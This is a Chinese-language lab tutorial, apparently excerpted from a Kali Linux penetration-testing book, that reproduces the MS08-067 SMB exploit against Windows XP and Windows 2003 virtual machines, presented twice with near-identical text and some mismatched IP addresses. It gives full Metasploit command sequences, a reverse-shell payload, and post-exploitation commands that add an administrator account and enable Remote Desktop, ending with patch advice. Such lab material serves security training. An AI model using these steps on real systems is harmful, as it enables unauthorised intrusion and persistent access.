WindowsXP的MS08-067漏洞利用复现和解决方案

本期文章由华章it赞助,未经允许,禁止转发。本文内容源自《kali linux 高级渗透测试》一书,感兴趣的读者可以购买阅读。

本文作者:k0xx1 编辑:天均 排版:天均

漏洞利用前的准备工作包括寻找漏洞信息。以下是一些常用的漏洞信息来源:

  • CVE(https://www.php.cn/link/fbfe2df616b6864090539113663415f3 Vulnerabilities & Exposures公共漏洞和暴露,由MITRE于1999年发起,致力于社区合作。
  • NVD(https://www.php.cn/link/fecfe776124124589c06f1d137c8833496f Institute of Standards and Technology (NIST)于2005年发起。
  • CNVD:国家信息安全漏洞共享平台,英文名为China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT是工信部的下属单位。
  • CNNVD(https://www.php.cn/link/50e9ea9c1bc5e6067ab7c0d8fbdd5f21 National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(简称国测,国测的主管单位是Security部),负责建设和运维国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
  • MSRC(https://www.php.cn/link/dd159c05a369b53f45e46d799740331f。

本文将介绍MS08-067漏洞,这是2008年的第67个公告(https://www.php.cn/link/fe103355d7f731a557951558ba906d39)。

虚拟机安装所需文件包括:

  • 各种虚拟机系统:自备
  • 纯净版WinXPSP3:winxp-sp3 English(winxpensp3)
  • Kali Linux虚拟机文件:kali-linux-2020.2-vmware-amd64.7z(默认用户名和密码为kali/kali)

安装过程(略):

  • 记得将虚拟机的网卡都设置为桥接模式。
  • WinXP系统管理员(Administrator)密码可以设置为复杂密码。
  • WinXP初次启动画面选择不启动自动更新,第一个用户名随便填写。
  • WinXP启动后关闭Windows自带防火墙。
  • 如果Kali不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
  • Kali使用默认的
    qterminal
  • Kali中文支持:
    • 打开终端。
    • 输入
      sudo dpkg-reconfigure locales
      ,选择
      en_US.UTF-8、zh_CN.GBK、zh_CN.UTF-8
      ,用空格选定,用
      Tab
      选择
      OK
      回车。
    • 默认环境可以选择
      zh_CN.UTF-8
      en_US.UTF-8
    • 更新包为最新内容
      sudo apt-get update
      ,有些人也可以选择更新到国内源,只是需要修改
      /etc/apt/sources.list
      的源内容,具体可以提issue询问如何修改。
    • 安装默认桌面环境需要的字体
      sudo apt-get install xfonts-intl-chinese ttf-wqy-microhei
    • 重启Kali ->
      reboot

攻击者IP为192.168.1.102,被攻击的IP为192.168.1.128。

03 漏洞利用

首先嗅探端口,看看445端口是否开放。

确认445端口(SMB)确实开放后,进行系统渗透:

  • 进入msf终端:

    kali@kali:~$ msfconsole

  • 搜索

    ms08_067
    漏洞信息:

    msf5 > search ms08_067

  • 选择利用此漏洞:

    msf5 > use exploit/windows/smb/ms08_067_netapi

  • 设置payload:

    msf5 exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp

  • 设置target为XP2001:

    msf exploit(windows/smb/ms08_067_netapi) > set target 6

  • 设置目标机器IP地址:

    msf exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"

  • 查看当前渗透选项:

    msf exploit(windows/smb/ms08_067_netapi) > show options

  • 开始渗透:

成功获取Windows Shell后,进行漏洞利用:

  • 创建Windows用户,用户名为

    someone
    ,密码为
    12345678

    net user someone 12345678 /add

  • 将用户

    someone
    加入管理员组:

    net localgroup administrators someone /add

  • 修改注册表开启远程访问:

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功后,使用

netstat -an
可以看到3389端口已开启,说明远程访问已生效。

此时可以使用远程桌面连接,例如:

rdesktop 192.168.1.128

04 解决方案

  • 升级到最新的Windows系统。
  • 安装
    KB958644
    补丁。

Win2003的MS08-067漏洞利用复现和解决方案

漏洞利用前的准备工作包括寻找漏洞信息。以下是一些常用的漏洞信息来源:

  • CVE(https://www.php.cn/link/fbfe2df616b6864090539113663415f3 Vulnerabilities & Exposures公共漏洞和暴露,由MITRE于1999年发起,致力于社区合作。
  • NVD(https://www.php.cn/link/fecfe776124124589c06f1d137c8833496f Institute of Standards and Technology (NIST)于2005年发起。
  • CNVD:国家信息安全漏洞共享平台,英文名为China National Vulnerability Database,隶属于国家计算机网络应急技术处理协调中心(CNCERT),CNCERT是工信部的下属单位。
  • CNNVD(https://www.php.cn/link/50e9ea9c1bc5e6067ab7c0d8fbdd5f21 National Vulnerability Database of Information Security,简称CNNVD,隶属于中国信息安全测评中心(简称国测,国测的主管单位是Security部),负责建设和运维国家级信息安全漏洞库,为我国信息安全保障提供基础服务。
  • MSRC(https://www.php.cn/link/dd159c05a369b53f45e46d799740331f。

本文将介绍MS08-067漏洞,这是2008年的第67个公告(https://www.php.cn/link/fe103355d7f731a557951558ba906d39)。

虚拟机安装所需文件包括:

  • 各种虚拟机系统:自备
  • Win2003虚拟机:Win2K3 Metasploit
  • Kali Linux虚拟机文件:kali-linux-2020.2-vmware-amd64.7z(默认用户名和密码为kali/kali)

安装过程(略):

  • 记得将虚拟机的网卡都设置为桥接模式。
  • Win2003系统管理员(Administrator)密码可以设置为复杂密码。
  • Win2003初次启动画面选择不启动自动更新,第一个用户名随便填写。
  • Win2003启动后关闭Windows自带防火墙。
  • 如果Kali不是用虚拟机镜像而是ISO向导安装,建议默认安装区域和语言都选择美国英语,然后参考下面的中文支持,否则对一般用户很麻烦。
  • Kali使用
    xfce Terminal
    而不是默认的
    qterminal

0x03 漏洞利用

机器地址:

  • 攻击者IP:192.168.1.105
  • 被攻者IP:192.168.1.128

嗅探端口,看看445端口是否开放:

kali@kali:~$ nmap -PS 192.138.1.128

确认445端口(SMB)确实开放后,进行系统渗透:

  • 进入msf终端:

    kali@kali:~$ msfconsole

  • 搜索

    ms08_067
    漏洞信息:

    msf5 > search ms08_067

  • 选择利用此漏洞:

    msf5 > use exploit/windows/smb/ms08_067_netapi

  • 设置payload:

    msf5 exploit(windows/smb/ms08_067_netapi) > set payload "generic/shell_bind_tcp"

  • 设置target为win2003-english,由于不知道具体版本,所以填0:

    msf5 exploit(windows/smb/ms08_067_netapi) > set target 0

  • 设置目标机器和被攻击机器IP地址,RHOST为被攻击机器,LHOST为攻击机器:

    msf5 exploit(windows/smb/ms08_067_netapi) > set RHOST "192.168.1.128"
    msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST "192.168.1.108"

  • 查看当前渗透选项:

    msf5 exploit(windows/smb/ms08_067_netapi) > show options

  • 开始渗透:

成功获取Windows Shell后,进行漏洞利用:

  • 创建Windows用户,用户名为

    someone
    ,密码为
    12345678

    net user someone 12345678 /add

  • 将用户

    someone
    加入管理员组:

    net localgroup administrators someone /add

  • 修改注册表开启远程访问:

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

操作成功后,使用

netstat -an
可以看到3389端口已开启,说明远程访问已生效。

此时可以使用远程桌面连接,例如:

rdesktop 192.168.1.128

0x04 解决方案

  • 升级到最新的Windows系统。
  • 安装
    KB958644
    补丁。